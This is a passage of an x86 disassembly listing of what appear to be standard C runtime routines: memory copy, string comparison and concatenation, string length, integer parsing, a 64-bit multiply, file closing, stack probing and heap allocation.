		db 90h
		dd offset loc_417400
		dd offset loc_41742C
		dd offset loc_417450
; ---------------------------------------------------------------------------


loc_417400:				; DATA XREF: sub_417390+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41742C:				; DATA XREF: sub_417390+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417450:				; DATA XREF: sub_417390+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41746C	dd offset loc_4174CF	; DATA XREF: sub_417390:loc_4173ECr
		dd offset loc_4174BC
		dd offset loc_4174B4
		dd offset loc_4174AC
		dd offset loc_4174A4
		dd offset loc_41749C
		dd offset loc_417494
		dd offset loc_41748C
; ---------------------------------------------------------------------------


loc_41748C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_417494:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41749C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4174A4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4174AC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4174B4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4174BC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4174CF:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390:off_41746Co
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4174D8	dd offset loc_4174E8	; DATA XREF: sub_417390+35r
					; sub_417390+92r ...
		dd offset loc_4174F0
		dd offset loc_4174FC
		dd offset loc_417510
; ---------------------------------------------------------------------------


loc_4174E8:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4174F0:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4174FC:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_417510:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417528:				; CODE XREF: sub_417390+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41755C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417550:				; CODE XREF: sub_417390+1B1j
					; sub_417390+208j ...
		neg	ecx
		jmp	off_417620[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41755C:				; CODE XREF: sub_417390+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417574
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_417574+4[eax*4]
; ---------------------------------------------------------------------------


loc_417574:				; CODE XREF: sub_417390+1D6j
					; DATA XREF: sub_417390+1DDr
		jmp	off_417670[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ebp+arg_39], dh
		add	[eax-2FFFBE8Bh], ch
		jnz	short loc_4175C8
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld


loc_4175C8:				; CODE XREF: sub_417390+1F5j
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417624
		dd offset loc_41762C
		dd offset loc_417634
		dd offset loc_41763C
		dd offset loc_417644
		dd offset loc_41764C
		dd offset loc_417654
off_417620	dd offset loc_417667	; DATA XREF: sub_417390+1C2r
; ---------------------------------------------------------------------------


loc_417624:				; DATA XREF: sub_417390+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41762C:				; DATA XREF: sub_417390+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_417634:				; DATA XREF: sub_417390+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41763C:				; DATA XREF: sub_417390+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_417644:				; DATA XREF: sub_417390+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41764C:				; DATA XREF: sub_417390+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_417654:				; DATA XREF: sub_417390+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_417667:				; CODE XREF: sub_417390+1C2j
					; DATA XREF: sub_417390:off_417620o
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417670	dd offset loc_417680	; DATA XREF: sub_417390+1B7r
					; sub_417390:loc_417574r ...
		dd offset loc_417688
		dd offset loc_417698
		dd offset loc_4176AC
; ---------------------------------------------------------------------------


loc_417680:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417688:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417698:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4176AC:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176D0	proc near		; CODE XREF: sub_4010B5+FCp
					; sub_4010B5+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41771C


loc_4176E0:				; CODE XREF: sub_4176D0+3Cj
					; sub_4176D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+3]
		jnz	short loc_417714
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4176E0
		mov	edi, edi


loc_417710:				; CODE XREF: sub_4176D0+18j
					; sub_4176D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417714:				; CODE XREF: sub_4176D0+14j
					; sub_4176D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41771C:				; CODE XREF: sub_4176D0+Ej
		test	edx, 1
		jz	short loc_417738
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_417714
		inc	ecx
		or	al, al
		jz	short loc_417710
		test	edx, 2
		jz	short loc_4176E0


loc_417738:				; CODE XREF: sub_4176D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		add	ecx, 2
		jmp	short loc_4176E0
sub_4176D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417760	proc near		; CODE XREF: sub_4010B5+19Ep
					; sub_401A76+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417779
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_417779:				; CODE XREF: sub_417760+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417760	endp


; =============== S U B	R O U T	I N E =======================================



sub_417794	proc near		; CODE XREF: sub_41781F+4p
					; sub_42094E+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41779C:				; CODE XREF: sub_417794+34j
		cmp	dword_4397AC, 1
		jle	short loc_4177B4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4177C3
; ---------------------------------------------------------------------------


loc_4177B4:				; CODE XREF: sub_417794+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4177C3:				; CODE XREF: sub_417794+1Ej
		test	eax, eax
		jz	short loc_4177CA
		inc	edi
		jmp	short loc_41779C
; ---------------------------------------------------------------------------


loc_4177CA:				; CODE XREF: sub_417794+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4177DA
		cmp	esi, 2Bh
		jnz	short loc_4177DE


loc_4177DA:				; CODE XREF: sub_417794+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_4177DE:				; CODE XREF: sub_417794+44j
		xor	ebx, ebx


loc_4177E0:				; CODE XREF: sub_417794+7Bj
		cmp	dword_4397AC, 1
		jle	short loc_4177F5
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_417800
; ---------------------------------------------------------------------------


loc_4177F5:				; CODE XREF: sub_417794+53j
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_417800:				; CODE XREF: sub_417794+5Fj
		test	eax, eax
		jz	short loc_417811
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4177E0
; ---------------------------------------------------------------------------


loc_417811:				; CODE XREF: sub_417794+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41781A
		neg	eax


loc_41781A:				; CODE XREF: sub_417794+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417794	endp


; =============== S U B	R O U T	I N E =======================================



sub_41781F	proc near		; CODE XREF: sub_4013EC+12p
					; sub_4013EC+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417794
		pop	ecx
		retn
sub_41781F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41782A	proc near		; CODE XREF: sub_40144A+318p
					; sub_401D82+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417869
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417876
; ---------------------------------------------------------------------------


loc_417869:				; CODE XREF: sub_41782A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_417876:				; CODE XREF: sub_41782A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41782A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417880	proc near		; CODE XREF: sub_401D82+2D8p
					; sub_401D82+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4178FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4178E7


loc_417898:				; CODE XREF: sub_417880+52j
					; sub_417880+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jz	short loc_4178B4


loc_4178A9:				; CODE XREF: sub_417880+32j
		mov	al, [esi]
		inc	esi


loc_4178AC:				; CODE XREF: sub_417880+3Fj
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jnz	short loc_4178A9


loc_4178B4:				; CODE XREF: sub_417880+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4178BA:				; CODE XREF: sub_417880+23j
					; sub_417880+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4178AC
		lea	edi, [esi-1]


loc_4178C4:				; CODE XREF: sub_417880+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4178F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417898
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4178F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4178C4
		jmp	short loc_417898
; ---------------------------------------------------------------------------


loc_4178E7:				; CODE XREF: sub_417880+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418F56
; ---------------------------------------------------------------------------


loc_4178F3:				; CODE XREF: sub_417880+49j
					; sub_417880+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4178FA:				; CODE XREF: sub_417880+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417880	endp


; =============== S U B	R O U T	I N E =======================================



sub_417900	proc near		; CODE XREF: sub_4022C6+94p
					; sub_405A58+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417915
		or	eax, 0FFFFFFFFh
		jmp	short loc_41794F
; ---------------------------------------------------------------------------


loc_417915:				; CODE XREF: sub_417900+Ej
		test	al, 83h
		jz	short loc_41794D
		push	esi
		call	sub_41A7D0
		push	esi
		mov	edi, eax
		call	sub_41A76A
		push	dword ptr [esi+10h]
		call	sub_41A6B7
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41793B
		or	edi, 0FFFFFFFFh
		jmp	short loc_41794D
; ---------------------------------------------------------------------------


loc_41793B:				; CODE XREF: sub_417900+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41794D
		push	eax
		call	sub_417C3B
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41794D:				; CODE XREF: sub_417900+17j
					; sub_417900+39j ...
		mov	eax, edi


loc_41794F:				; CODE XREF: sub_417900+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_417900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417956	proc near		; CODE XREF: sub_4022C6+8Ep
					; sub_40EE72+2B0Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8A2
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419E38
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41A92F
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417956	endp


; =============== S U B	R O U T	I N E =======================================



sub_417988	proc near		; CODE XREF: sub_4179A8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41AADC
		test	eax, eax
		jnz	short loc_417992
		retn
; ---------------------------------------------------------------------------


loc_417992:				; CODE XREF: sub_417988+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A96C
		add	esp, 10h
		retn
sub_417988	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179A8	proc near		; CODE XREF: sub_4022C6+54p
					; sub_405A58+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417988
		add	esp, 0Ch
		retn
sub_4179A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179C0	proc near		; CODE XREF: sub_405AF2+2BFp
					; sub_40A7D7+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417A31
sub_4179C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_4022C6+32p
					; sub_4022C6+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4179EC


loc_4179DD:				; CODE XREF: sub_4179D0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417A1F
		test	ecx, 3
		jnz	short loc_4179DD


loc_4179EC:				; CODE XREF: sub_4179D0+Bj
					; sub_4179D0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4179EC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417A2E
		test	ah, ah
		jz	short loc_417A29
		test	eax, 0FF0000h
		jz	short loc_417A24
		test	eax, 0FF000000h
		jz	short loc_417A1F
		jmp	short loc_4179EC
; ---------------------------------------------------------------------------


loc_417A1F:				; CODE XREF: sub_4179D0+12j
					; sub_4179D0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A24:				; CODE XREF: sub_4179D0+44j
		lea	edi, [ecx-2]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A29:				; CODE XREF: sub_4179D0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A2E:				; CODE XREF: sub_4179D0+39j
		lea	edi, [ecx-4]


loc_417A31:				; CODE XREF: sub_4179C0+5j
					; sub_4179D0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417A56


loc_417A3D:				; CODE XREF: sub_4179D0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_417AA8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_417A3D
		jmp	short loc_417A56
; ---------------------------------------------------------------------------


loc_417A51:				; CODE XREF: sub_4179D0+9Ej
					; sub_4179D0+B8j
		mov	[edi], edx
		add	edi, 4


loc_417A56:				; CODE XREF: sub_4179D0+6Bj
					; sub_4179D0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A51
		test	dl, dl
		jz	short loc_417AA8
		test	dh, dh
		jz	short loc_417A9F
		test	edx, 0FF0000h
		jz	short loc_417A92
		test	edx, 0FF000000h
		jz	short loc_417A8A
		jmp	short loc_417A51
; ---------------------------------------------------------------------------


loc_417A8A:				; CODE XREF: sub_4179D0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417A92:				; CODE XREF: sub_4179D0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417A9F:				; CODE XREF: sub_4179D0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417AA8:				; CODE XREF: sub_4179D0+72j
					; sub_4179D0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4179D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AB0	proc near		; CODE XREF: sub_4023A7+1A7p
					; sub_4023A7:loc_402561p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417AD0


loc_417ABC:				; CODE XREF: sub_417AB0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417B03
		test	ecx, 3
		jnz	short loc_417ABC
		add	eax, 0


loc_417AD0:				; CODE XREF: sub_417AB0+Aj
					; sub_417AB0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417AD0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417B21
		test	ah, ah
		jz	short loc_417B17
		test	eax, 0FF0000h
		jz	short loc_417B0D
		test	eax, 0FF000000h
		jz	short loc_417B03
		jmp	short loc_417AD0
; ---------------------------------------------------------------------------


loc_417B03:				; CODE XREF: sub_417AB0+11j
					; sub_417AB0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B0D:				; CODE XREF: sub_417AB0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B17:				; CODE XREF: sub_417AB0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B21:				; CODE XREF: sub_417AB0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_417AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B30	proc near		; CODE XREF: sub_402688+8p
					; sub_402B84+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417B50


loc_417B3C:				; CODE XREF: sub_417B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_417B3C


loc_417B50:				; CODE XREF: sub_417B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417B30	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B5F	proc near		; CODE XREF: sub_4029E9+7Ap
					; sub_4029E9+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_417B73


loc_417B6B:				; CODE XREF: sub_417B5F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_417B6B


loc_417B73:				; CODE XREF: sub_417B5F+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_417B78:				; CODE XREF: sub_417B5F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_417B78
		pop	esi
		retn
sub_417B5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B89	proc near		; CODE XREF: sub_402B84+220p
					; sub_402DD7+C1p ...

arg_0		= dword	ptr  4

		push	dword_48A074
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_417B89	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B9B	proc near		; CODE XREF: sub_417B89+Ap
					; sub_4185F5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417BC4


loc_417BA2:				; CODE XREF: sub_417B9B+27j
		push	[esp+arg_0]
		call	sub_417BC7
		test	eax, eax
		pop	ecx
		jnz	short locret_417BC6
		cmp	[esp+arg_4], eax
		jz	short locret_417BC6
		push	[esp+arg_0]
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_417BA2


loc_417BC4:				; CODE XREF: sub_417B9B+5j
		xor	eax, eax

locret_417BC6:				; CODE XREF: sub_417B9B+13j
					; sub_417B9B+19j
		retn
sub_417B9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BC7	proc near		; CODE XREF: sub_417B9B+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_48B688
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_417BEB
		cmp	esi, dword_48B680
		ja	short loc_417C1D
		push	esi
		call	sub_41B0DD
		test	eax, eax
		pop	ecx
		jz	short loc_417C1D
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417BEB:				; CODE XREF: sub_417BC7+Dj
		cmp	eax, 2
		jnz	short loc_417C1D
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_417C00
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_417C03
; ---------------------------------------------------------------------------


loc_417C00:				; CODE XREF: sub_417BC7+2Fj
		push	10h
		pop	esi


